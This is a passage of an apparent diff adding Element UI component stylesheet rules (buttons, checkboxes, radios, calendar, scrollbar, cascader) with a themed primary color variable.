animation: viewer-fade-out .3s +} + +@-webkit-keyframes viewer-fade-in { + 0% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } + 100% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes viewer-fade-in { + 0% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } + 100% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@-webkit-keyframes viewer-fade-out { + 0% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } + 100% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } +} + +@keyframes viewer-fade-out { + 0% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } + 100% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } +} + +.el-button { + display: inline-block; + line-height: 1; + white-space: nowrap; + cursor: pointer; + background: #fff; + border: 1px solid #dcdfe6; + color: #606266; + -webkit-appearance: none; + text-align: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + outline: 0; + margin: 0; + -webkit-transition: .1s; + transition: .1s; + font-weight: 500; + padding: 12px 20px; + font-size: 14px; + border-radius: 4px +} + +.el-button+.el-button { + margin-left: 10px +} + +.el-button:focus, +.el-button:hover { + color: var(--color-primary, #419488); + border-color: #c6e2ff; + background-color: #ecf5ff +} + +.el-button:active { + color: var(--color-primary, #3a8ee6); + border-color: var(--color-primary, #3a8ee6); + outline: 0 +} + +.el-button::-moz-focus-inner { + border: 0 +} + +.el-button [class*=el-icon-]+span { + margin-left: 5px +} + +.el-button.is-plain:focus, +.el-button.is-plain:hover { + background: #fff; + border-color: var(--color-primary, #419488); + color: var(--color-primary, #419488) +} + +.el-button.is-active, +.el-button.is-plain:active { + color: var(--color-primary, #3a8ee6); + border-color: var(--color-primary, #3a8ee6) +} + +.el-button.is-plain:active { + background: #fff; + outline: 0 +} + +.el-button.is-disabled, +.el-button.is-disabled:focus, +.el-button.is-disabled:hover { + color: #c0c4cc; + cursor: not-allowed; + background-image: none; + background-color: #fff; + border-color: #ebeef5 +} + +.el-button.is-disabled.el-button--text { + background-color: transparent +} + +.el-button.is-disabled.is-plain, +.el-button.is-disabled.is-plain:focus, +.el-button.is-disabled.is-plain:hover { + background-color: #fff; + border-color: #ebeef5; + color: #c0c4cc +} + +.el-button.is-loading { + position: relative; + pointer-events: none +} + +.el-button.is-loading:before { + pointer-events: none; + content: ''; + position: absolute; + left: -1px; + top: -1px; + right: -1px; + bottom: -1px; + border-radius: inherit; + background-color: rgba(255, 255, 255, .35) +} + +.el-button.is-round { + border-radius: 20px; + padding: 12px 23px +} + +.el-button.is-circle { + border-radius: 50%; + padding: 12px +} + +.el-button--primary { + color: #fff; + background-color: var(--color-primary, #419488); + border-color: var(--color-primary, #419488) +} + +.el-button--primary:focus, +.el-button--primary:hover { + background: #66b1ff; + border-color: #66b1ff; + color: #fff +} + +.el-button--primary.is-active, +.el-button--primary:active { + background: var(--color-primary, #3a8ee6); + border-color: var(--color-primary, #3a8ee6); + color: #fff +} + +.el-button--primary:active { + outline: 0 +} + +.el-button--primary.is-disabled, +.el-button--primary.is-disabled:active, +.el-button--primary.is-disabled:focus, +.el-button--primary.is-disabled:hover { + color: #fff; + background-color: #a0cfff; + border-color: #a0cfff +} + +.el-button--primary.is-plain { + color: var(--color-primary, #419488); + background: #ecf5ff; + border-color: #b3d8ff +} + +.el-button--primary.is-plain:focus, +.el-button--primary.is-plain:hover { + background: var(--color-primary, #419488); + border-color: var(--color-primary, #419488); + color: #fff +} + +.el-button--primary.is-plain:active { + background: var(--color-primary, #3a8ee6); + border-color: var(--color-primary, #3a8ee6); + color: #fff; + outline: 0 +} + +.el-button--primary.is-plain.is-disabled, +.el-button--primary.is-plain.is-disabled:active, +.el-button--primary.is-plain.is-disabled:focus, +.el-button--primary.is-plain.is-disabled:hover { + color: #8cc5ff; + background-color: #ecf5ff; + border-color: #d9ecff +} + +.el-button--success { + color: #fff; + background-color: #67c23a; + border-color: #67c23a +} + +.el-button--success:focus, +.el-button--success:hover { + background: #85ce61; + border-color: #85ce61; + color: #fff +} + +.el-button--success.is-active, +.el-button--success:active { + background: #5daf34; + border-color: #5daf34; + color: #fff +} + +.el-button--success:active { + outline: 0 +} + +.el-button--success.is-disabled, +.el-button--success.is-disabled:active, +.el-button--success.is-disabled:focus, +.el-button--success.is-disabled:hover { + color: #fff; + background-color: #b3e19d; + border-color: #b3e19d +} + +.el-button--success.is-plain { + color: #67c23a; + background: #f0f9eb; + border-color: #c2e7b0 +} + +.el-button--success.is-plain:focus, +.el-button--success.is-plain:hover { + background: #67c23a; + border-color: #67c23a; + color: #fff +} + +.el-button--success.is-plain:active { + background: #5daf34; + border-color: #5daf34; + color: #fff; + outline: 0 +} + +.el-button--success.is-plain.is-disabled, +.el-button--success.is-plain.is-disabled:active, +.el-button--success.is-plain.is-disabled:focus, +.el-button--success.is-plain.is-disabled:hover { + color: #a4da89; + background-color: #f0f9eb; + border-color: #e1f3d8 +} + +.el-button--warning { + color: #fff; + background-color: #e6a23c; + border-color: #e6a23c +} + +.el-button--warning:focus, +.el-button--warning:hover { + background: #ebb563; + border-color: #ebb563; + color: #fff +} + +.el-button--warning.is-active, +.el-button--warning:active { + background: #cf9236; + border-color: #cf9236; + color: #fff +} + +.el-button--warning:active { + outline: 0 +} + +.el-button--warning.is-disabled, +.el-button--warning.is-disabled:active, +.el-button--warning.is-disabled:focus, +.el-button--warning.is-disabled:hover { + color: #fff; + background-color: #f3d19e; + border-color: #f3d19e +} + +.el-button--warning.is-plain { + color: #e6a23c; + background: #fdf6ec; + border-color: #f5dab1 +} + +.el-button--warning.is-plain:focus, +.el-button--warning.is-plain:hover { + background: #e6a23c; + border-color: #e6a23c; + color: #fff +} + +.el-button--warning.is-plain:active { + background: #cf9236; + border-color: #cf9236; + color: #fff; + outline: 0 +} + +.el-button--warning.is-plain.is-disabled, +.el-button--warning.is-plain.is-disabled:active, +.el-button--warning.is-plain.is-disabled:focus, +.el-button--warning.is-plain.is-disabled:hover { + color: #f0c78a; + background-color: #fdf6ec; + border-color: #faecd8 +} + +.el-button--danger { + color: #fff; + background-color: #f56c6c; + border-color: #f56c6c +} + +.el-button--danger:focus, +.el-button--danger:hover { + background: #f78989; + border-color: #f78989; + color: #fff +} + +.el-button--danger.is-active, +.el-button--danger:active { + background: #dd6161; + border-color: #dd6161; + color: #fff +} + +.el-button--danger:active { + outline: 0 +} + +.el-button--danger.is-disabled, +.el-button--danger.is-disabled:active, +.el-button--danger.is-disabled:focus, +.el-button--danger.is-disabled:hover { + color: #fff; + background-color: #fab6b6; + border-color: #fab6b6 +} + +.el-button--danger.is-plain { + color: #f56c6c; + background: #fef0f0; + border-color: #fbc4c4 +} + +.el-button--danger.is-plain:focus, +.el-button--danger.is-plain:hover { + background: #f56c6c; + border-color: #f56c6c; + color: #fff +} + +.el-button--danger.is-plain:active { + background: #dd6161; + border-color: #dd6161; + color: #fff; + outline: 0 +} + +.el-button--danger.is-plain.is-disabled, +.el-button--danger.is-plain.is-disabled:active, +.el-button--danger.is-plain.is-disabled:focus, +.el-button--danger.is-plain.is-disabled:hover { + color: #f9a7a7; + background-color: #fef0f0; + border-color: #fde2e2 +} + +.el-button--info { + color: #fff; + background-color: #909399; + border-color: #909399 +} + +.el-button--info:focus, +.el-button--info:hover { + background: #a6a9ad; + border-color: #a6a9ad; + color: #fff +} + +.el-button--info.is-active, +.el-button--info:active { + background: #82848a; + border-color: #82848a; + color: #fff +} + +.el-button--info:active { + outline: 0 +} + +.el-button--info.is-disabled, +.el-button--info.is-disabled:active, +.el-button--info.is-disabled:focus, +.el-button--info.is-disabled:hover { + color: #fff; + background-color: #c8c9cc; + border-color: #c8c9cc +} + +.el-button--info.is-plain { + color: #909399; + background: #f4f4f5; + border-color: #d3d4d6 +} + +.el-button--info.is-plain:focus, +.el-button--info.is-plain:hover { + background: #909399; + border-color: #909399; + color: #fff +} + +.el-button--info.is-plain:active { + background: #82848a; + border-color: #82848a; + color: #fff; + outline: 0 +} + +.el-button--info.is-plain.is-disabled, +.el-button--info.is-plain.is-disabled:active, +.el-button--info.is-plain.is-disabled:focus, +.el-button--info.is-plain.is-disabled:hover { + color: #bcbec2; + background-color: #f4f4f5; + border-color: #e9e9eb +} + +.el-button--text, +.el-button--text.is-disabled, +.el-button--text.is-disabled:focus, +.el-button--text.is-disabled:hover, +.el-button--text:active { + border-color: transparent +} + +.el-button--medium { + padding: 10px 20px; + font-size: 14px; + border-radius: 4px +} + +.el-button--mini, +.el-button--small { + font-size: 12px; + border-radius: 3px +} + +.el-button--medium.is-round { + padding: 10px 20px +} + +.el-button--medium.is-circle { + padding: 10px +} + +.el-button--small, +.el-button--small.is-round { + padding: 9px 15px +} + +.el-button--small.is-circle { + padding: 9px +} + +.el-button--mini, +.el-button--mini.is-round { + padding: 7px 15px +} + +.el-button--mini.is-circle { + padding: 7px +} + +.el-button--text { + color: var(--color-primary, #419488); + background: 0 0; + padding-left: 0; + padding-right: 0 +} + +.el-button--text:focus, +.el-button--text:hover { + color: #66b1ff; + border-color: transparent; + background-color: transparent +} + +.el-button--text:active { + color: var(--color-primary, #3a8ee6); + background-color: transparent +} + +.el-button-group { + display: inline-block; + vertical-align: middle +} + +.el-button-group::after, +.el-button-group::before { + display: table; + content: "" +} + +.el-button-group::after { + clear: both +} + +.el-button-group>.el-button { + float: left; + position: relative +} + +.el-button-group>.el-button+.el-button { + margin-left: 0 +} + +.el-button-group>.el-button.is-disabled { + z-index: 1 +} + +.el-button-group>.el-button:first-child { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.el-button-group>.el-button:last-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.el-button-group>.el-button:first-child:last-child { + border-radius: 4px +} + +.el-button-group>.el-button:first-child:last-child.is-round { + border-radius: 20px +} + +.el-button-group>.el-button:first-child:last-child.is-circle { + border-radius: 50% +} + +.el-button-group>.el-button:not(:first-child):not(:last-child) { + border-radius: 0 +} + +.el-button-group>.el-button:not(:last-child) { + margin-right: -1px +} + +.el-button-group>.el-button.is-active, +.el-button-group>.el-button:active, +.el-button-group>.el-button:focus, +.el-button-group>.el-button:hover { + z-index: 1 +} + +.el-button-group>.el-dropdown>.el-button { + border-top-left-radius: 0; + border-bottom-left-radius: 0; + border-left-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--primary:first-child { + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--primary:last-child { + border-left-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--primary:not(:first-child):not(:last-child) { + border-left-color: rgba(255, 255, 255, .5); + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--success:first-child { + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--success:last-child { + border-left-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--success:not(:first-child):not(:last-child) { + border-left-color: rgba(255, 255, 255, .5); + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--warning:first-child { + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--warning:last-child { + border-left-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--warning:not(:first-child):not(:last-child) { + border-left-color: rgba(255, 255, 255, .5); + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--danger:first-child { + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--danger:last-child { + border-left-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--danger:not(:first-child):not(:last-child) { + border-left-color: rgba(255, 255, 255, .5); + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--info:first-child { + border-right-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--info:last-child { + border-left-color: rgba(255, 255, 255, .5) +} + +.el-button-group .el-button--info:not(:first-child):not(:last-child) { + border-left-color: rgba(255, 255, 255, .5); + border-right-color: rgba(255, 255, 255, .5) +} + +.el-calendar { + background-color: #fff +} + +.el-calendar__header { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 12px 20px; + border-bottom: 1px solid #ebeef5 +} + +.el-backtop, +.el-page-header { + display: -webkit-box; + display: -ms-flexbox +} + +.el-calendar__title { + color: #000; + -ms-flex-item-align: center; + align-self: center +} + +.el-calendar__body { + padding: 12px 20px 35px +} + +.el-calendar-table { + table-layout: fixed; + width: 100% +} + +.el-calendar-table thead th { + padding: 12px 0; + color: #606266; + font-weight: 400 +} + +.el-calendar-table:not(.is-range) td.next, +.el-calendar-table:not(.is-range) td.prev { + color: #c0c4cc +} + +.el-backtop, +.el-calendar-table td.is-today { + color: var(--color-primary, #419488) +} + +.el-calendar-table td { + border-bottom: 1px solid #ebeef5; + border-right: 1px solid #ebeef5; + vertical-align: top; + -webkit-transition: background-color .2s ease; + transition: background-color .2s ease +} + +.el-calendar-table td.is-selected { + background-color: #f2f8fe +} + +.el-calendar-table tr:first-child td { + border-top: 1px solid #ebeef5 +} + +.el-calendar-table tr td:first-child { + border-left: 1px solid #ebeef5 +} + +.el-calendar-table tr.el-calendar-table__row--hide-border td { + border-top: none +} + +.el-calendar-table .el-calendar-day { + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding: 8px; + height: 85px +} + +.el-calendar-table .el-calendar-day:hover { + cursor: pointer; + background-color: #f2f8fe +} + +.el-backtop { + position: fixed; + background-color: #fff; + width: 40px; + height: 40px; + border-radius: 50%; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + font-size: 20px; + -webkit-box-shadow: 0 0 6px rgba(0, 0, 0, .12); + box-shadow: 0 0 6px rgba(0, 0, 0, .12); + cursor: pointer; + z-index: 5 +} + +.el-backtop:hover { + background-color: #f2f6fc +} + +.el-page-header { + display: flex; + line-height: 24px +} + +.el-page-header__left { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + cursor: pointer; + margin-right: 40px; + position: relative +} + +.el-page-header__left::after { + content: ""; + position: absolute; + width: 1px; + height: 16px; + right: -20px; + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + background-color: #dcdfe6 +} + +.el-checkbox, +.el-checkbox__input { + display: inline-block; + position: relative; + white-space: nowrap +} + +.el-page-header__left .el-icon-back { + font-size: 18px; + margin-right: 6px; + -ms-flex-item-align: center; + align-self: center +} + +.el-page-header__title { + font-size: 14px; + font-weight: 500 +} + +.el-page-header__content { + font-size: 18px; + color: #303133 +} + +.el-checkbox { + color: #606266; + font-weight: 500; + font-size: 14px; + cursor: pointer; + user-select: none; + margin-right: 30px +} + +.el-checkbox-button__inner, +.el-radio { + font-weight: 500; + -moz-user-select: none; + -webkit-user-select: none; + -ms-user-select: none +} + +.el-checkbox.is-bordered { + padding: 9px 20px 9px 10px; + border-radius: 4px; + border: 1px solid #dcdfe6; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: normal; + height: 40px +} + +.el-checkbox.is-bordered.is-checked { + border-color: var(--color-primary, #419488) +} + +.el-checkbox.is-bordered.is-disabled { + border-color: #ebeef5; + cursor: not-allowed +} + +.el-checkbox.is-bordered+.el-checkbox.is-bordered { + margin-left: 10px +} + +.el-checkbox.is-bordered.el-checkbox--medium { + padding: 7px 20px 7px 10px; + border-radius: 4px; + height: 36px +} + +.el-checkbox.is-bordered.el-checkbox--medium .el-checkbox__label { + line-height: 17px; + font-size: 14px +} + +.el-checkbox.is-bordered.el-checkbox--medium .el-checkbox__inner { + height: 14px; + width: 14px +} + +.el-checkbox.is-bordered.el-checkbox--small { + padding: 5px 15px 5px 10px; + border-radius: 3px; + height: 32px +} + +.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__label { + line-height: 15px; + font-size: 12px +} + +.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner { + height: 12px; + width: 12px +} + +.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner::after { + height: 6px; + width: 2px +} + +.el-checkbox.is-bordered.el-checkbox--mini { + padding: 3px 15px 3px 10px; + border-radius: 3px; + height: 28px +} + +.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__label { + line-height: 12px; + font-size: 12px +} + +.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__inner { + height: 12px; + width: 12px +} + +.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__inner::after { + height: 6px; + width: 2px +} + +.el-checkbox__input { + cursor: pointer; + outline: 0; + line-height: 1; + vertical-align: middle +} + +.el-checkbox__input.is-disabled .el-checkbox__inner { + background-color: #edf2fc; + border-color: #dcdfe6; + cursor: not-allowed +} + +.el-checkbox__input.is-disabled .el-checkbox__inner::after { + cursor: not-allowed; + border-color: #c0c4cc +} + +.el-checkbox__input.is-disabled .el-checkbox__inner+.el-checkbox__label { + cursor: not-allowed +} + +.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner { + background-color: #f2f6fc; + border-color: #dcdfe6 +} + +.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner::after { + border-color: #c0c4cc +} + +.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner { + background-color: #f2f6fc; + border-color: #dcdfe6 +} + +.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner::before { + background-color: #c0c4cc; + border-color: #c0c4cc +} + +.el-checkbox__input.is-checked .el-checkbox__inner, +.el-checkbox__input.is-indeterminate .el-checkbox__inner { + background-color: var(--color-primary, #419488); + border-color: var(--color-primary, #419488) +} + +.el-checkbox__input.is-disabled+span.el-checkbox__label { + color: #c0c4cc; + cursor: not-allowed +} + +.el-checkbox__input.is-checked .el-checkbox__inner::after { + -webkit-transform: rotate(45deg) scaleY(1); + transform: rotate(45deg) scaleY(1) +} + +.el-checkbox__input.is-checked+.el-checkbox__label { + color: var(--color-primary, #419488) +} + +.el-checkbox__input.is-focus .el-checkbox__inner { + border-color: var(--color-primary, #419488) +} + +.el-checkbox__input.is-indeterminate .el-checkbox__inner::before { + content: ''; + position: absolute; + display: block; + background-color: #fff; + height: 2px; + -webkit-transform: scale(.5); + transform: scale(.5); + left: 0; + right: 0; + top: 5px +} + +.el-checkbox__input.is-indeterminate .el-checkbox__inner::after { + display: none +} + +.el-checkbox__inner { + display: inline-block; + position: relative; + border: 1px solid #dcdfe6; + border-radius: 2px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14px; + height: 14px; + background-color: #fff; + z-index: 1; + -webkit-transition: border-color .25s cubic-bezier(.71, -.46, .29, 1.46), background-color .25s cubic-bezier(.71, -.46, .29, 1.46); + transition: border-color .25s cubic-bezier(.71, -.46, .29, 1.46), background-color .25s cubic-bezier(.71, -.46, .29, 1.46) +} + +.el-checkbox__inner:hover { + border-color: var(--color-primary, #419488) +} + +.el-checkbox__inner::after { + -webkit-box-sizing: content-box; + box-sizing: content-box; + content: ""; + border: 1px solid #fff; + border-left: 0; + border-top: 0; + height: 7px; + left: 4px; + position: absolute; + top: 1px; + -webkit-transform: rotate(45deg) scaleY(0); + transform: rotate(45deg) scaleY(0); + width: 3px; + -webkit-transition: -webkit-transform .15s ease-in 50ms; + transition: -webkit-transform .15s ease-in 50ms; + transition: transform .15s ease-in 50ms; + transition: transform .15s ease-in 50ms, -webkit-transform .15s ease-in 50ms; + -webkit-transform-origin: center; + transform-origin: center +} + +.el-checkbox__original { + opacity: 0; + outline: 0; + position: absolute; + margin: 0; + width: 0; + height: 0; + z-index: -1 +} + +.el-checkbox-button, +.el-checkbox-button__inner { + display: inline-block; + position: relative +} + +.el-checkbox__label { + display: inline-block; + padding-left: 10px; + line-height: 19px; + font-size: 14px +} + +.el-checkbox:last-of-type { + margin-right: 0 +} + +.el-checkbox-button__inner { + line-height: 1; + white-space: nowrap; + vertical-align: middle; + cursor: pointer; + background: #fff; + border: 1px solid #dcdfe6; + border-left: 0; + color: #606266; + -webkit-appearance: none; + text-align: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + outline: 0; + margin: 0; + -webkit-transition: all .3s cubic-bezier(.645, .045, .355, 1); + transition: all .3s cubic-bezier(.645, .045, .355, 1); + padding: 12px 20px; + font-size: 14px; + border-radius: 0 +} + +.el-checkbox-button__inner.is-round { + padding: 12px 20px +} + +.el-checkbox-button__inner:hover { + color: var(--color-primary, #419488) +} + +.el-checkbox-button__inner [class*=el-icon-] { + line-height: .9 +} + +.el-radio, +.el-radio__input { + line-height: 1; + outline: 0; + white-space: nowrap +} + +.el-checkbox-button__inner [class*=el-icon-]+span { + margin-left: 5px +} + +.el-checkbox-button__original { + opacity: 0; + outline: 0; + position: absolute; + margin: 0; + z-index: -1 +} + +.el-radio, +.el-radio__inner, +.el-radio__input { + position: relative; + display: inline-block +} + +.el-checkbox-button.is-checked .el-checkbox-button__inner { + color: #fff; + background-color: var(--color-primary, #419488); + border-color: var(--color-primary, #419488); + -webkit-box-shadow: -1px 0 0 0 #8cc5ff; + box-shadow: -1px 0 0 0 #8cc5ff +} + +.el-checkbox-button.is-checked:first-child .el-checkbox-button__inner { + border-left-color: var(--color-primary, #419488) +} + +.el-checkbox-button.is-disabled .el-checkbox-button__inner { + color: #c0c4cc; + cursor: not-allowed; + background-image: none; + background-color: #fff; + border-color: #ebeef5; + -webkit-box-shadow: none; + box-shadow: none +} + +.el-checkbox-button.is-disabled:first-child .el-checkbox-button__inner { + border-left-color: #ebeef5 +} + +.el-checkbox-button:first-child .el-checkbox-button__inner { + border-left: 1px solid #dcdfe6; + border-radius: 4px 0 0 4px; + -webkit-box-shadow: none !important; + box-shadow: none !important +} + +.el-checkbox-button.is-focus .el-checkbox-button__inner { + border-color: var(--color-primary, #419488) +} + +.el-checkbox-button:last-child .el-checkbox-button__inner { + border-radius: 0 4px 4px 0 +} + +.el-checkbox-button--medium .el-checkbox-button__inner { + padding: 10px 20px; + font-size: 14px; + border-radius: 0 +} + +.el-checkbox-button--medium .el-checkbox-button__inner.is-round { + padding: 10px 20px +} + +.el-checkbox-button--small .el-checkbox-button__inner { + padding: 9px 15px; + font-size: 12px; + border-radius: 0 +} + +.el-checkbox-button--small .el-checkbox-button__inner.is-round { + padding: 9px 15px +} + +.el-checkbox-button--mini .el-checkbox-button__inner { + padding: 7px 15px; + font-size: 12px; + border-radius: 0 +} + +.el-checkbox-button--mini .el-checkbox-button__inner.is-round { + padding: 7px 15px +} + +.el-checkbox-group { + font-size: 0 +} + +.el-radio, +.el-radio--medium.is-bordered .el-radio__label { + font-size: 14px +} + +.el-radio { + color: #606266; + cursor: pointer; + margin-right: 30px +} + +.el-cascader-node>.el-radio, +.el-radio:last-child { + margin-right: 0 +} + +.el-radio.is-bordered { + padding: 12px 20px 0 10px; + border-radius: 4px; + border: 1px solid #dcdfe6; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 40px +} + +.el-radio.is-bordered.is-checked { + border-color: var(--color-primary, #419488) +} + +.el-radio.is-bordered.is-disabled { + cursor: not-allowed; + border-color: #ebeef5 +} + +.el-radio__input.is-disabled .el-radio__inner, +.el-radio__input.is-disabled.is-checked .el-radio__inner { + background-color: #f5f7fa; + border-color: #e4e7ed +} + +.el-radio.is-bordered+.el-radio.is-bordered { + margin-left: 10px +} + +.el-radio--medium.is-bordered { + padding: 10px 20px 0 10px; + border-radius: 4px; + height: 36px +} + +.el-radio--mini.is-bordered .el-radio__label, +.el-radio--small.is-bordered .el-radio__label { + font-size: 12px +} + +.el-radio--medium.is-bordered .el-radio__inner { + height: 14px; + width: 14px +} + +.el-radio--small.is-bordered { + padding: 8px 15px 0 10px; + border-radius: 3px; + height: 32px +} + +.el-radio--small.is-bordered .el-radio__inner { + height: 12px; + width: 12px +} + +.el-radio--mini.is-bordered { + padding: 6px 15px 0 10px; + border-radius: 3px; + height: 28px +} + +.el-radio--mini.is-bordered .el-radio__inner { + height: 12px; + width: 12px +} + +.el-radio__input { + cursor: pointer; + vertical-align: middle +} + +.el-radio__input.is-disabled .el-radio__inner { + cursor: not-allowed +} + +.el-radio__input.is-disabled .el-radio__inner::after { + cursor: not-allowed; + background-color: #f5f7fa +} + +.el-radio__input.is-disabled .el-radio__inner+.el-radio__label { + cursor: not-allowed +} + +.el-radio__input.is-disabled.is-checked .el-radio__inner::after { + background-color: #c0c4cc +} + +.el-radio__input.is-disabled+span.el-radio__label { + color: #c0c4cc; + cursor: not-allowed +} + +.el-radio__input.is-checked .el-radio__inner { + border-color: var(--color-primary, #419488); + background: var(--color-primary, #419488) +} + +.el-radio__input.is-checked .el-radio__inner::after { + -webkit-transform: translate(-50%, -50%) scale(1); + transform: translate(-50%, -50%) scale(1) +} + +.el-radio__input.is-checked+.el-radio__label { + color: var(--color-primary, #419488) +} + +.el-radio__input.is-focus .el-radio__inner { + border-color: var(--color-primary, #419488) +} + +.el-radio__inner { + border: 1px solid #dcdfe6; + border-radius: 100%; + width: 14px; + height: 14px; + background-color: #fff; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-radio__inner:hover { + border-color: var(--color-primary, #419488) +} + +.el-radio__inner::after { + width: 4px; + height: 4px; + border-radius: 100%; + background-color: #fff; + content: ""; + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%) scale(0); + transform: translate(-50%, -50%) scale(0); + -webkit-transition: -webkit-transform .15s ease-in; + transition: -webkit-transform .15s ease-in; + transition: transform .15s ease-in; + transition: transform .15s ease-in, -webkit-transform .15s ease-in +} + +.el-radio__original { + opacity: 0; + outline: 0; + position: absolute; + z-index: -1; + top: 0; + left: 0; + right: 0; + bottom: 0; + margin: 0 +} + +.el-radio:focus:not(.is-focus):not(:active):not(.is-disabled) .el-radio__inner { + -webkit-box-shadow: 0 0 2px 2px var(--color-primary, #419488); + box-shadow: 0 0 2px 2px var(--color-primary, #419488) +} + +.el-radio__label { + font-size: 14px; + padding-left: 10px +} + +.el-scrollbar { + overflow: hidden; + position: relative +} + +.el-scrollbar:active>.el-scrollbar__bar, +.el-scrollbar:focus>.el-scrollbar__bar, +.el-scrollbar:hover>.el-scrollbar__bar { + opacity: 1; + -webkit-transition: opacity 340ms ease-out; + transition: opacity 340ms ease-out +} + +.el-scrollbar__wrap { + overflow: scroll; + height: 100% +} + +.el-scrollbar__wrap--hidden-default { + scrollbar-width: none +} + +.el-scrollbar__wrap--hidden-default::-webkit-scrollbar { + width: 0; + height: 0 +} + +.el-scrollbar__thumb { + position: relative; + display: block; + width: 0; + height: 0; + cursor: pointer; + border-radius: inherit; + background-color: rgba(144, 147, 153, .3); + -webkit-transition: .3s background-color; + transition: .3s background-color +} + +.el-scrollbar__thumb:hover { + background-color: rgba(144, 147, 153, .5) +} + +.el-scrollbar__bar { + position: absolute; + right: 2px; + bottom: 2px; + z-index: 1; + border-radius: 4px; + opacity: 0; + -webkit-transition: opacity 120ms ease-out; + transition: opacity 120ms ease-out +} + +.el-scrollbar__bar.is-vertical { + width: 6px; + top: 2px +} + +.el-scrollbar__bar.is-vertical>div { + width: 100% +} + +.el-scrollbar__bar.is-horizontal { + height: 6px; + left: 2px +} + +.el-scrollbar__bar.is-horizontal>div { + height: 100% +} + +.el-cascader-panel { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + border-radius: 4px; + font-size: 14px +} + +.el-cascader-panel.is-bordered { + border: 1px solid #e4e7ed; + border-radius: 4px +} + +.el-cascader-menu { + min-width: 180px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + color: #606266; + border-right: solid 1px #e4e7ed +} + +.el-cascader-menu:last-child { + border-right: none +} + +.el-cascader-menu:last-child .el-cascader-node { + padding-right: 20px +} + +.el-cascader-menu__wrap { + height: 204px +} + +.el-cascader-menu__list { + position: relative; + min-height: 100%; + margin: 0; + padding: 6px 0; + list-style: none; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-avatar, +.el-drawer { + -webkit-box-sizing: border-box; + overflow: hidden +} + +.el-cascader-menu__hover-zone { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + pointer-events: none +} + +.el-cascader-menu__empty-text { + position: absolute; + top: 50%; + left: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + text-align: center; + color: #c0c4cc +} + +.el-cascader-node { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + padding: 0 30px 0 20px; + height: 34px; + line-height: 34px; + outline: 0 +} + +.el-cascader-node.is-selectable.in-active-path { + color: #606266 +} + +.el-cascader-node.in-active-path, +.el-cascader-node.is-active, +.el-cascader-node.is-selectable.in-checked-path { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.el-cascader-node:not(.is-disabled) { + cursor: pointer +} + +.el-cascader-node:not(.is-disabled):focus, +.el-cascader-node:not(.is-disabled):hover { + background: #f5f7fa +} + +.el-cascader-node.is-disabled { + color: #c0c4cc; + cursor: not-allowed +} + +.el-cascader-node__prefix { + position: absolute; + left: 10px +} + +.el-cascader-node__postfix { + position: absolute; + right: 10px +} + +.el-cascader-node__label { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + padding: 0 10px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.el-cascader-node>.el-radio .el-radio__label { + padding-left: 0 +} + +.el-avatar { + display: inline-block; + box-sizing: border-box; + 